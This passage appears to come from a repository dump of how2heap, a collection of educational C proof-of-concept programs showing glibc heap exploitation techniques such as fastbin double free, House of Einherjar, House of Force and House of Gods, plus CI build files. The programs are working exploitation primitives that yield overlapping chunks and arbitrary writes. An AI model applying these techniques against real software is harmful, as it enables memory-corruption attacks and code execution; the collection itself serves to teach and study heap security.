MALLOC_MMAP_THRESHOLD_=1` (always use mmap()), ...\n\nMore info: [mcheck()](http://www.gnu.org/software/libc/manual/html_node/Heap-Consistency-Checking.html), [mallopt()](http://www.gnu.org/software/libc/manual/html_node/Malloc-Tunable-Parameters.html).\n\nThere's also some tracing support as [mtrace()](http://manpages.ubuntu.com/mtrace), [malloc_stats()](http://manpages.ubuntu.com/malloc_stats), [malloc_info()](http://manpages.ubuntu.com/malloc_info), [memusage](http://manpages.ubuntu.com/memusage), and in other functions in this family.\n\n"
  },
  {
    "path": "calc_tcache_idx.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <malloc.h>\n\n\nstruct malloc_chunk {\n\n  size_t      mchunk_prev_size;  /* Size of previous chunk (if free).  */\n  size_t      mchunk_size;       /* Size in bytes, including overhead. */\n\n  struct malloc_chunk* fd;         /* double links -- used only if free. */\n  struct malloc_chunk* bk;\n\n  /* Only used for large blocks: pointer to next larger size.  */\n  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */\n  struct malloc_chunk* bk_nextsize;\n};\n\n/* The corresponding word size.  */\n#define SIZE_SZ (sizeof (size_t))\n\n#define MALLOC_ALIGNMENT (2 * SIZE_SZ < __alignof__ (long double) \\\n\t\t\t  ? __alignof__ (long double) : 2 * SIZE_SZ)\n\n/* The corresponding bit mask value.  */\n#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)\n\n/* The smallest possible chunk */\n#define MIN_CHUNK_SIZE        (offsetof(struct malloc_chunk, fd_nextsize))\n\n/* The smallest size we can malloc is an aligned minimal chunk */\n#define MINSIZE  \\\n  (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))\n\n#define request2size(req)                                         \\\n  (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)  ?             \\\n   MINSIZE :                                                      \\\n   ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)\n\n/* When \"x\" is from chunksize().  */\n# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)\n\n/* When \"x\" is a user-provided size.  */\n# define usize2tidx(x) csize2tidx (request2size (x))\n\nint main()\n{\n    unsigned long long req;\n    unsigned long long tidx;\n\tfprintf(stderr, \"This file doesn't demonstrate an attack, but calculates the tcache idx for a given chunk size.\\n\");\n\tfprintf(stderr, \"The basic formula is as follows:\\n\");\n    fprintf(stderr, \"\\tIDX = (CHUNKSIZE - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT\\n\");\n    fprintf(stderr, \"\\tOn a 64 bit system the current values are:\\n\");\n    fprintf(stderr, \"\\t\\tMINSIZE: 0x%lx\\n\", MINSIZE);\n    fprintf(stderr, \"\\t\\tMALLOC_ALIGNMENT: 0x%lx\\n\", MALLOC_ALIGNMENT);\n    fprintf(stderr, \"\\tSo we get the following equation:\\n\");\n    fprintf(stderr, \"\\tIDX = (CHUNKSIZE - 0x%lx) / 0x%lx\\n\\n\", MINSIZE-MALLOC_ALIGNMENT+1, MALLOC_ALIGNMENT);\n    fprintf(stderr, \"BUT be AWARE that CHUNKSIZE is not the x in malloc(x)\\n\");\n    fprintf(stderr, \"It is calculated as follows:\\n\");\n    fprintf(stderr, \"\\tIF x + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE(0x%lx) CHUNKSIZE = MINSIZE (0x%lx)\\n\", MINSIZE, MINSIZE);\n    fprintf(stderr, \"\\tELSE: CHUNKSIZE = (x + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) \\n\");\n    fprintf(stderr, \"\\t=> CHUNKSIZE = (x + 0x%lx + 0x%lx) & ~0x%lx\\n\\n\\n\", SIZE_SZ, MALLOC_ALIGN_MASK, MALLOC_ALIGN_MASK);\n    while(1) {\n        fprintf(stderr, \"[CTRL-C to exit] Please enter a size x (malloc(x)) in hex (e.g. 0x10): \");\n        scanf(\"%llx\", &req);\n        tidx = usize2tidx(req);\n        if (tidx > 63) {\n            fprintf(stderr, \"\\nWARNING: NOT IN TCACHE RANGE!\\n\");\n        }\n        fprintf(stderr, \"\\nTCache Idx: %llu\\n\", tidx);\n    }\n    return 0;\n}\n"
  },
  {
    "path": "ci/build/Dockerfile",
    "content": "FROM base\n\nRUN apt-get update && apt-get install -y make git gcc\n\nCMD bash -c \"cd /how2heap && make all && cp $(which make) /how2heap/make\"\n"
  },
  {
    "path": "ci/build/action.yml",
    "content": "name: 'build how2heap'\ndescription: 'build how2heap on the targeted ubuntu docker'\ninputs:\n  ubuntu:\n    description: 'build it on which ubuntu version'\n    required: true\nruns:\n  using: \"composite\"\n  steps:\n    - name: create the base docker image\n      run: |\n        docker pull ubuntu:${{ inputs.ubuntu }}\n        docker tag ubuntu:${{ inputs.ubuntu }} base\n      shell: bash\n\n    - name: build how2heap inside the base container\n      run: |\n        git clone https://github.com/shellphish/how2heap /tmp/how2heap\n        cd /tmp/how2heap && git fetch origin ${GITHUB_REF}:action\n        cd /tmp/how2heap && git switch action\n        cd /tmp/how2heap/ci/build && docker build -t runner .\n        docker run -v /tmp/how2heap:/how2heap runner\n      shell: bash\n"
  },
  {
    "path": "ci/test/action.yml",
    "content": "name: 'test how2heap'\ndescription: 'test how2heap on the targeted ubuntu docker'\ninputs:\n  ubuntu:\n    description: 'build it on which ubuntu version'\n    required: true\n  glibc:\n    description: 'test against which glibc'\n    required: true\nruns:\n  using: \"composite\"\n  steps:\n    - name: pull the target ubuntu image\n      run: |\n        docker pull ubuntu:${{ inputs.ubuntu }}\n        docker tag ubuntu:${{ inputs.ubuntu }} ubuntu_test\n      shell: bash\n\n    - name: test how2heap inside the raw container\n      run: |\n        docker run -v /tmp/how2heap:/how2heap ubuntu_test bash -c 'cd /how2heap; ./make test version=${{ inputs.glibc }}'\n      shell: bash\n"
  },
  {
    "path": "first_fit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\\n\");\n\tfprintf(stderr, \"glibc uses a first-fit algorithm to select a free chunk.\\n\");\n\tfprintf(stderr, \"If a chunk is free and large enough, malloc will select this chunk.\\n\");\n\tfprintf(stderr, \"This can be exploited in a use-after-free situation.\\n\");\n\n\tfprintf(stderr, \"Allocating 2 buffers. They can be large, don't have to be fastbin.\\n\");\n\tchar* a = malloc(0x512);\n\tchar* b = malloc(0x256);\n\tchar* c;\n\n\tfprintf(stderr, \"1st malloc(0x512): %p\\n\", a);\n\tfprintf(stderr, \"2nd malloc(0x256): %p\\n\", b);\n\tfprintf(stderr, \"we could continue mallocing here...\\n\");\n\tfprintf(stderr, \"now let's put a string at a that we can read later \\\"this is A!\\\"\\n\");\n\tstrcpy(a, \"this is A!\");\n\tfprintf(stderr, \"first allocation %p points to %s\\n\", a, a);\n\n\tfprintf(stderr, \"Freeing the first one...\\n\");\n\tfree(a);\n\n\tfprintf(stderr, \"We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\\n\", a);\n\n\tfprintf(stderr, \"So, let's allocate 0x500 bytes\\n\");\n\tc = malloc(0x500);\n\tfprintf(stderr, \"3rd malloc(0x500): %p\\n\", c);\n\tfprintf(stderr, \"And put a different string here, \\\"this is C!\\\"\\n\");\n\tstrcpy(c, \"this is C!\");\n\tfprintf(stderr, \"3rd allocation %p points to %s\\n\", c, c);\n\tfprintf(stderr, \"first allocation %p points to %s\\n\", a, a);\n\tfprintf(stderr, \"If we reuse the first allocation, it now holds the data from the third allocation.\\n\");\n}\n"
  },
  {
    "path": "glibc_2.23/fastbin_dup.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file demonstrates a simple double-free attack with fastbins.\\n\");\n\n\tfprintf(stderr, \"Allocating 3 buffers.\\n\");\n\tint *a = malloc(8);\n\tint *b = malloc(8);\n\tint *c = malloc(8);\n\n\tfprintf(stderr, \"1st malloc(8): %p\\n\", a);\n\tfprintf(stderr, \"2nd malloc(8): %p\\n\", b);\n\tfprintf(stderr, \"3rd malloc(8): %p\\n\", c);\n\n\tfprintf(stderr, \"Freeing the first one...\\n\");\n\tfree(a);\n\n\tfprintf(stderr, \"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\t// free(a);\n\n\tfprintf(stderr, \"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\tfprintf(stderr, \"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tfprintf(stderr, \"Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\\n\", a, b, a, a);\n\ta = malloc(8);\n\tb = malloc(8);\n\tc = malloc(8);\n\tfprintf(stderr, \"1st malloc(8): %p\\n\", a);\n\tfprintf(stderr, \"2nd malloc(8): %p\\n\", b);\n\tfprintf(stderr, \"3rd malloc(8): %p\\n\", c);\n\n\tassert(a == c);\n}\n"
  },
  {
    "path": "glibc_2.23/fastbin_dup_consolidate.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/*\nOriginal reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8\n\nThis document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a\ndouble free to gain two pointers to the same large-sized chunk, which is usually difficult to do \ndirectly due to the previnuse check.\n\nmalloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially\nmerges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top\nif possible.\n\nAs of glibc version 2.35 it is called only in the following five places:\n1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)\n2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)\n3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)\n4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)\n5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)\n\nWe will be targeting the first place, so we will need to allocate a chunk that does not belong in the \nsmall bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901). \nThis means our chunk will need to be of size >= 0x400 (it is thus large-sized).\n\n*/\n\nint main() {\n\tprintf(\"This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication of a large-sized chunk\\n\");\n\n\tvoid* p1 = calloc(1,0x40);\n\n\tprintf(\"Allocate a fastbin chunk p1=%p \\n\", p1);\n  \tprintf(\"Freeing p1 will add it to the fastbin.\\n\\n\");\n  \tfree(p1);\n\n  \tvoid* p3 = malloc(0x400);\n\n\tprintf(\"To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\\n\");\n\tprintf(\"which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\\n\");\n\tprintf(\"a chunk with chunk size 0x410. p3=%p\\n\", p3);\n\n\tprintf(\"\\nmalloc_consolidate will merge the fast chunk p1 with top.\\n\");\n\tprintf(\"p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\\n\");\n\n\tassert(p1 == p3);\n\n  \tprintf(\"We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\\n\\n\");\n\tfree(p1); // vulnerability\n\n\tprintf(\"So p1 is double freed, and p3 hasn't been freed although it now points to the top, as our\\n\");\n\tprintf(\"chunk got consolidated with it. We have thus achieved UAF!\\n\");\n\n\tprintf(\"We will request a chunk of size 0x400, this will give us a 0x410 chunk from the top\\n\");\n\tprintf(\"p3 and p1 will still be pointing to it.\\n\");\n\tvoid *p4 = malloc(0x400);\n\n\tassert(p4 == p3);\n\n\tprintf(\"We now have two pointers (p3 and p4) that haven't been directly freed\\n\");\n\tprintf(\"and both point to the same large-sized chunk. p3=%p p4=%p\\n\", p3, p4);\n\tprintf(\"We have achieved duplication!\\n\\n\");\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.23/fastbin_dup_into_stack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file extends on fastbin_dup.c by tricking malloc into\\n\"\n\t       \"returning a pointer to a controlled location (in this case, the stack).\\n\");\n\n\tunsigned long long stack_var;\n\n\tfprintf(stderr, \"The address we want malloc() to return is %p.\\n\", 8+(char *)&stack_var);\n\n\tfprintf(stderr, \"Allocating 3 buffers.\\n\");\n\tint *a = malloc(8);\n\tint *b = malloc(8);\n\tint *c = malloc(8);\n\n\tfprintf(stderr, \"1st malloc(8): %p\\n\", a);\n\tfprintf(stderr, \"2nd malloc(8): %p\\n\", b);\n\tfprintf(stderr, \"3rd malloc(8): %p\\n\", c);\n\n\tfprintf(stderr, \"Freeing the first one...\\n\");\n\tfree(a);\n\n\tfprintf(stderr, \"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\t// free(a);\n\n\tfprintf(stderr, \"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\tfprintf(stderr, \"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tfprintf(stderr, \"Now the free list has [ %p, %p, %p ]. \"\n\t\t\"We'll now carry out our attack by modifying data at %p.\\n\", a, b, a, a);\n\tunsigned long long *d = malloc(8);\n\n\tfprintf(stderr, \"1st malloc(8): %p\\n\", d);\n\tfprintf(stderr, \"2nd malloc(8): %p\\n\", malloc(8));\n\tfprintf(stderr, \"Now the free list has [ %p ].\\n\", a);\n\tfprintf(stderr, \"Now, we have access to %p while it remains at the head of the free list.\\n\"\n\t\t\"so now we are writing a fake free size (in this case, 0x20) to the stack,\\n\"\n\t\t\"so that malloc will think there is a free chunk there and agree to\\n\"\n\t\t\"return a pointer to it.\\n\", a);\n\tstack_var = 0x20;\n\n\tfprintf(stderr, \"Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\\n\", a);\n\t*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));\n\n\tfprintf(stderr, \"3rd malloc(8): %p, putting the stack address on the free list\\n\", malloc(8));\n\tfprintf(stderr, \"4th malloc(8): %p\\n\", malloc(8));\n}\n"
  },
  {
    "path": "glibc_2.23/house_of_einherjar.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <malloc.h>\n\n/*\n   Credit to st4g3r for publishing this technique\n   The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()\n   This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. \n*/\n\nint main()\n{\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"Welcome to House of Einherjar!\\n\");\n\tprintf(\"Tested in Ubuntu 16.04 64bit.\\n\");\n\tprintf(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\\n\");\n\n\tuint8_t* a;\n\tuint8_t* b;\n\tuint8_t* d;\n\n\tprintf(\"\\nWe allocate 0x38 bytes for 'a'\\n\");\n\ta = (uint8_t*) malloc(0x38);\n\tprintf(\"a: %p\\n\", a);\n\t\n\tint real_a_size = malloc_usable_size(a);\n\tprintf(\"Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\\n\", real_a_size);\n\n\t// create a fake chunk\n\tprintf(\"\\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\\n\");\n\tprintf(\"However, you can also create the chunk in the heap or the bss, as long as you know its address\\n\");\n\tprintf(\"We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\\n\");\n\tprintf(\"(although we could do the unsafe unlink technique here in some scenarios)\\n\");\n\n\tsize_t fake_chunk[6];\n\n\tfake_chunk[0] = 0x00; // The prev_size vs. size check is of no concern, until GLIBC 2.26 P->bk->size == P->prev_size check\n\tfake_chunk[1] = 0x00; // Arbitrary value; fake_chunk->size is ignored during backward consolidation.\n\tfake_chunk[2] = (size_t) fake_chunk; // fwd\n\tfake_chunk[3] = (size_t) fake_chunk; // bck\n\tfake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize\n\tfake_chunk[5] = (size_t) fake_chunk; //bck_nextsize\n\n\n\tprintf(\"Our fake chunk at %p looks like:\\n\", fake_chunk);\n\tprintf(\"prev_size (not used): %#lx\\n\", fake_chunk[0]);\n\tprintf(\"size: %#lx\\n\", fake_chunk[1]);\n\tprintf(\"fwd: %#lx\\n\", fake_chunk[2]);\n\tprintf(\"bck: %#lx\\n\", fake_chunk[3]);\n\tprintf(\"fwd_nextsize: %#lx\\n\", fake_chunk[4]);\n\tprintf(\"bck_nextsize: %#lx\\n\", fake_chunk[5]);\n\n\t/* In this case it is easier if the chunk size attribute has a least significant byte with\n\t * a value of 0x00. The least significant byte of this will be 0x00, because the size of \n\t * the chunk includes the amount requested plus some amount required for the metadata. */\n\tb = (uint8_t*) malloc(0xf8);\n\tint real_b_size = malloc_usable_size(b);\n\n\tprintf(\"\\nWe allocate 0xf8 bytes for 'b'.\\n\");\n\tprintf(\"b: %p\\n\", b);\n\n\tuint64_t* b_size_ptr = (uint64_t*)(b - 8);\n\t/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/\n\n\tprintf(\"\\nb.size: %#lx\\n\", *b_size_ptr);\n\tprintf(\"b.size is: (0x100) | prev_inuse = 0x101\\n\");\n\tprintf(\"We overflow 'a' with a single null byte into the metadata of 'b'\\n\");\n\ta[real_a_size] = 0; \n\tprintf(\"b.size: %#lx\\n\", *b_size_ptr);\n\tprintf(\"This is easiest if b.size is a multiple of 0x100 so you \"\n\t\t   \"don't change the size of b, only its prev_inuse bit\\n\");\n\tprintf(\"If it had been modified, we would need a fake chunk inside \"\n\t\t   \"b where it will try to consolidate the next chunk\\n\");\n\n\t// Write a fake prev_size to the end of a\n\tprintf(\"\\nWe write a fake prev_size to the last %lu bytes of a so that \"\n\t\t   \"it will consolidate with our fake chunk\\n\", sizeof(size_t));\n\tsize_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);\n\tprintf(\"Our fake prev_size will be %p - %p = %#lx\\n\", b-sizeof(size_t)*2, fake_chunk, fake_size);\n\t*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;\n\n\t//Change the fake chunk's size to reflect b's new prev_size\n\tprintf(\"\\nModify fake chunk's size to reflect b's new prev_size\\n\");\n\tfake_chunk[1] = fake_size;\n\n\t// free b and it will consolidate with our fake chunk\n\tprintf(\"Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\\n\");\n\tfree(b);\n\tprintf(\"Our fake chunk size is now %#lx (b.size + fake_prev_size)\\n\", fake_chunk[1]);\n\n\t//if we allocate another chunk before we free b we will need to \n\t//do two things: \n\t//1) We will need to adjust the size of our fake chunk so that\n\t//fake_chunk + fake_chunk's size points to an area we control\n\t//2) we will need to write the size of our fake chunk\n\t//at the location we control. \n\t//After doing these two things, when unlink gets called, our fake chunk will\n\t//pass the size(P) == prev_size(next_chunk(P)) test. \n\t//otherwise we need to make sure that our fake chunk is up against the\n\t//wilderness\n\n\tprintf(\"\\nNow we can call malloc() and it will begin in our fake chunk\\n\");\n\td = malloc(0x200);\n\tprintf(\"Next malloc(0x200) is at %p\\n\", d);\n}\n"
  },
  {
    "path": "glibc_2.23/house_of_force.c",
    "content": "/*\n\n   This PoC works also with ASLR enabled.\n   It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.\n   If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum \n   ( http://phrack.org/issues/66/10.html )\n\n   Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04\n\n*/\n\n\n#include <stdio.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\nchar bss_var[] = \"This is a string that we want to overwrite.\";\n\nint main(int argc , char* argv[])\n{\n\tfprintf(stderr, \"\\nWelcome to the House of Force\\n\\n\");\n\tfprintf(stderr, \"The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\\n\");\n\tfprintf(stderr, \"The top chunk is a special chunk. Is the last in memory \"\n\t\t\"and is the chunk that will be resized when malloc asks for more space from the os.\\n\");\n\n\tfprintf(stderr, \"\\nIn the end, we will use this to overwrite a variable at %p.\\n\", bss_var);\n\tfprintf(stderr, \"Its current value is: %s\\n\", bss_var);\n\n\n\n\tfprintf(stderr, \"\\nLet's allocate the first chunk, taking space from the wilderness.\\n\");\n\tintptr_t *p1 = malloc(256);\n\tfprintf(stderr, \"The chunk of 256 bytes has been allocated at %p.\\n\", p1 - 2);\n\n\tfprintf(stderr, \"\\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\\n\");\n\tint real_size = malloc_usable_size(p1);\n\tfprintf(stderr, \"Real size (aligned and all that jazz) of our allocated chunk is %ld.\\n\", real_size + sizeof(long)*2);\n\n\tfprintf(stderr, \"\\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\\n\");\n\n\t//----- VULNERABILITY ----\n\tintptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));\n\tfprintf(stderr, \"\\nThe top chunk starts at %p\\n\", ptr_top);\n\n\tfprintf(stderr, \"\\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\\n\");\n\tfprintf(stderr, \"Old size of top chunk %#llx\\n\", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));\n\t*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;\n\tfprintf(stderr, \"New size of top chunk %#llx\\n\", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));\n\t//------------------------\n\n\tfprintf(stderr, \"\\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\\n\"\n\t   \"Next, we will allocate a chunk that will get us right up against the desired region (with an integer\\n\"\n\t   \"overflow) and will then be able to allocate a chunk right over the desired region.\\n\");\n\n\t/*\n\t * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):\n\t * new_top = old_top + nb\n\t * nb = new_top - old_top\n\t * req + 2sizeof(long) = new_top - old_top\n\t * req = new_top - old_top - 2sizeof(long)\n\t * req = dest - 2sizeof(long) - old_top - 2sizeof(long)\n\t * req = dest - old_top - 4*sizeof(long)\n\t */\n\tunsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;\n\tfprintf(stderr, \"\\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\\n\"\n\t   \"we will malloc %#lx bytes.\\n\", bss_var, ptr_top, evil_size);\n\tvoid *new_ptr = malloc(evil_size);\n\tfprintf(stderr, \"As expected, the new pointer is at the same place as the old top chunk: %p\\n\", new_ptr - sizeof(long)*2);\n\n\tvoid* ctr_chunk = malloc(100);\n\tfprintf(stderr, \"\\nNow, the next chunk we overwrite will point at our target buffer.\\n\");\n\tfprintf(stderr, \"malloc(100) => %p!\\n\", ctr_chunk);\n\tfprintf(stderr, \"Now, we can finally overwrite that value:\\n\");\n\n\tfprintf(stderr, \"... old string: %s\\n\", bss_var);\n\tfprintf(stderr, \"... doing strcpy overwrite with \\\"YEAH!!!\\\"...\\n\");\n\tstrcpy(ctr_chunk, \"YEAH!!!\");\n\tfprintf(stderr, \"... new string: %s\\n\", bss_var);\n\n\tassert(ctr_chunk == bss_var);\n\n\n\t// some further discussion:\n\t//fprintf(stderr, \"This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\\n\\n\");\n\t//fprintf(stderr, \"This because the main_arena->top pointer is setted to current av->top + malloc_size \"\n\t//\t\"and we \\nwant to set this result to the address of malloc_got_address-8\\n\\n\");\n\t//fprintf(stderr, \"In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\\n\\n\");\n\t//fprintf(stderr, \"The av->top after this big malloc will be setted in this way to malloc_got_address-8\\n\\n\");\n\t//fprintf(stderr, \"After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),\"\n\t//\t\"\\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\\n\\n\");\n\n\t//fprintf(stderr, \"The large chunk with evil_size has been allocated here 0x%08x\\n\",p2);\n\t//fprintf(stderr, \"The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\\n\",malloc_got_address);\n\n\t//fprintf(stderr, \"This last malloc will be served from the remainder code and will return the av->top+8 injected before\\n\");\n}\n"
  },
  {
    "path": "glibc_2.23/house_of_gods.c",
    "content": "/* House of Gods PoC */\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n#include <inttypes.h>\n\n/*\n * Welcome to the House of Gods...\n *\n * House of Gods is an arena hijacking technique for glibc < 2.27. It supplies\n * the attacker with an arbitrary write against the thread_arena symbol of\n * the main thread. This can be used to replace the main_arena with a\n * carefully crafted fake arena. The exploit was tested against\n *\n *     - glibc-2.23\n *     - glibc-2.24\n *     - glibc-2.25\n *     - glibc-2.26\n *\n * Following requirements are mandatory\n *\n *     - 8 allocs of arbitrary size to hijack the arena (+2 for ACE)\n *     - control over first 5 quadwords of a chunk's userdata\n *     - a single write-after-free bug on an unsorted chunk\n *     - heap address leak + libc address leak\n *\n * This PoC demonstrates how to leverage the House of Gods in order to hijack\n * the thread_arena. But it wont explain how to escalate further to\n * arbitrary code execution, since this step is trivial once the whole arena\n * is under control.\n *\n * Also note, that the how2heap PoC might use more allocations than\n * previously stated. This is intentional and has educational purposes.\n *\n * If you want to read the full technical description of this technique, going\n * from zero to arbitrary code execution within only 10 to 11 allocations, here\n * is the original document I've written\n *\n *     https://github.com/Milo-D/house-of-gods/blob/master/rev2/HOUSE_OF_GODS.TXT\n *\n * I recommend reading this document while experimenting with\n * the how2heap PoC.\n *\n * Besides that, this technique abuses a minor bug in glibc, which I have\n * already submitted to bugzilla at\n *\n *     https://sourceware.org/bugzilla/show_bug.cgi?id=29709\n *\n * AUTHOR: David Milosevic (milo)\n *\n * */\n\n/* <--- Exploit PoC ---> */\n\nint main(void) {\n\n    printf(\"=================\\n\");\n    printf(\"= House of Gods =\\n\");\n    printf(\"=================\\n\\n\");\n\n    printf(\"=== Abstract ===\\n\\n\");\n\n    printf(\"The core of this technique is to allocate a fakechunk overlapping\\n\");\n    printf(\"the binmap field within the main_arena. This fakechunk is located at\\n\");\n    printf(\"offset 0x850. Its sizefield can be crafted by carefully binning chunks\\n\");\n    printf(\"into smallbins or largebins. The binmap-chunk is then being linked into\\n\");\n    printf(\"the unsorted bin via a write-after-free bug in order to allocate it back\\n\");\n    printf(\"as an exact fit. One can now tamper with the main_arena.next pointer at\\n\");\n    printf(\"offset 0x868 and inject the address of a fake arena. A final unsorted bin\\n\");\n    printf(\"attack corrupts the narenas variable with a very large value. From there, only\\n\");\n    printf(\"two more allocation requests for at least 0xffffffffffffffc0 bytes of memory\\n\");\n    printf(\"are needed to trigger two consecutive calls to the reused_arena() function,\\n\");\n    printf(\"which in turn traverses the corrupted arena-list and sets thread_arena to the\\n\");\n    printf(\"address stored in main_arena.next - the address of the fake arena.\\n\\n\");\n\n    printf(\"=== PoC ===\\n\\n\");\n\n    printf(\"Okay, so let us start by allocating some chunks...\\n\\n\");\n\n    /*\n     * allocate a smallchunk, for example a 0x90-chunk.\n     * */\n    void *SMALLCHUNK = malloc(0x88);\n\n    /*\n     * allocate the first fastchunk. We will use\n     * a 0x20-chunk for this purpose.\n     * */\n    void *FAST20 = malloc(0x18);\n\n    /*\n     * allocate a second fastchunk. This time\n     * a 0x40-chunk.\n     * */\n    void *FAST40 = malloc(0x38);\n\n    printf(\"%p is our 0x90-sized smallchunk. We will bin this chunk to forge a\\n\", SMALLCHUNK);\n    printf(\"fake sizefield for our binmap-chunk.\\n\\n\");\n\n    printf(\"%p is our first fastchunk. Its size is 0x20.\\n\\n\", FAST20);\n\n    printf(\"%p is our second fastchunk with a size of 0x40. The usecase of\\n\", FAST40);\n    printf(\"both fastchunks will be explained later in this PoC.\\n\\n\");\n\n    printf(\"We can move our smallchunk to the unsorted bin by simply free'ing it...\\n\\n\");\n\n    /*\n     * put SMALLCHUNK into the unsorted bin.\n     * */\n    free(SMALLCHUNK);\n\n    /*\n     * this is a great opportunity to simulate a\n     * libc leak. We just read the address of the\n     * unsorted bin and save it for later.\n     * */\n    const uint64_t leak = *((uint64_t*) SMALLCHUNK);\n\n    printf(\"And now we need to make a request for a chunk which can not be serviced by\\n\");\n    printf(\"our recently free'd smallchunk. Thus, we will make a request for a\\n\");\n    printf(\"0xa0-sized chunk - let us call this chunk INTM (intermediate).\\n\\n\");\n\n    /*\n     * following allocation will trigger a binning\n     * process within the unsorted bin and move\n     * SMALLCHUNK to the 0x90-smallbin.\n     * */\n    void *INTM = malloc(0x98);\n\n    printf(\"Our smallchunk should be now in the 0x90-smallbin. This process also triggered\\n\");\n    printf(\"the mark_bin(m, i) macro within the malloc source code. If you inspect the\\n\");\n    printf(\"main_arena's binmap located at offset 0x855, you will notice that the initial\\n\");\n    printf(\"value of the binmap changed from 0x0 to 0x200 - which can be used as a valid\\n\");\n    printf(\"sizefield to bypass the unsorted bin checks.\\n\\n\");\n\n    printf(\"We would also need a valid bk pointer in order to bypass the partial unlinking\\n\");\n    printf(\"procedure within the unsorted bin. But luckily, the main_arena.next pointer 